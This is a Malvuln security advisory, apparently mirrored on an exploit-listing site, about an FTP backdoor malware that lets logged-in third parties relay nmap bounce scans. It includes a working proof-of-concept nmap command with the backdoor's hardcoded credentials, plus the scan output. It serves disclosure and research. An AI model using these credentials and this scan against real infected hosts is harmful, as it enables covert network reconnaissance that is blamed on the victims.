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## https://sploitus.com/exploit?id=PACKETSTORM:165396
Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/1d12f9b921b38d7b521f12442bdd52d8.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.FTP.Simpel.12  
Vulnerability: Port Bounce Scan  
Description: The malware listens on TCP port 22. Third-party intruders who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.  
Type: PE32  
MD5: 1d12f9b921b38d7b521f12442bdd52d8  
Vuln ID: MVID-2021-0432  
Disclosure: 12/27/2021  
  
Exploit/PoC:  
nmap -n -Pn -b cRaCkeN:!supernova@192.168.18.129:22 -p21,22,80 192.168.18.237 -v  
Starting Nmap 7.80 ( https://nmap.org ) at 2021-12-26 21:42 Pacific Standard Time  
Resolved FTP bounce attack proxy to 192.168.18.129 (192.168.18.129).  
Attempting connection to ftp://cRaCkeN:!supernova@192.168.18.129:22  
Connected:220 SSH-1.99-OpenSSH_3.6.1p1.  
Login credentials accepted by FTP server!  
Initiating Bounce Scan at 21:43  
Removed 22  
Changed my mind about port 22  
Removed 21  
Changed my mind about port 21  
Discovered open port 80/tcp on 192.168.18.237  
Completed Bounce Scan at 21:43, 2.39s elapsed (3 total ports)  
Nmap scan report for 192.168.18.237  
Host is up.  
  
PORT STATE SERVICE  
21/tcp closed ftp  
22/tcp closed ssh  
80/tcp open http  
  
Read data files from: C:\Program Files (x86)\Nmap  
Nmap done: 1 IP address (1 host up) scanned in 11.61 seconds  
  
  
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